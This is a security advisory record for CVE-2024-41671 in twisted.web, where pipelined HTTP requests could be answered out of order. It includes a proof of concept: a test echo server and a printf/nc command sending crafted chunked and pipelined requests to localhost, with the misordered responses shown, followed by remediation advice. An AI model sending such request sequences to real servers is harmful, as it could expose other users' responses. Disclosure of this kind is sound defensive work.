---
id: CVE-2024-41671
aliases:
  - GHSA-c8m8-j448-xjx7
  - PYSEC-2026-1992
title: twisted.web has disordered HTTP pipeline response
summary: twisted.web has disordered HTTP pipeline response
severity: high
cvss: 8.3
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L'
vendor: twisted
product: twisted
ecosystem: pip
affected:
  - twisted < 24.7.0rc1
patched:
  - twisted 24.7.0rc1
published: '2024-07-29'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-c8m8-j448-xjx7'
references:
  - url: 'https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2024-41671'
  - url: >-
      https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33
  - url: >-
      https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc
  - url: 'https://github.com/twisted/twisted'
  - url: 'https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html'
  - url: >-
      https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167
tags:
  - osv
  - pip
epss: 0.00863
epssPercentile: 0.57091
ingestedAt: '2026-07-08T18:25:48.338Z'
---

## Overview

### Summary

The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.

### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update && apt -y install ncat git python3 python3-pip \
    && git clone --recurse-submodules https://github.com/twisted/twisted \
    && cd twisted \
    && pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor

class TheResource(resource.Resource):
    isLeaf = True

    def render_GET(self, request) -> bytes:
        return b"GET"

    def render_POST(self, request) -> bytes:
        return b"POST"

site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html

POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html

GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html

POST
```

### Impact
See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

## Affected packages

- `twisted < 24.7.0rc1`

## Remediation

Upgrade to a patched release:

- `twisted 24.7.0rc1`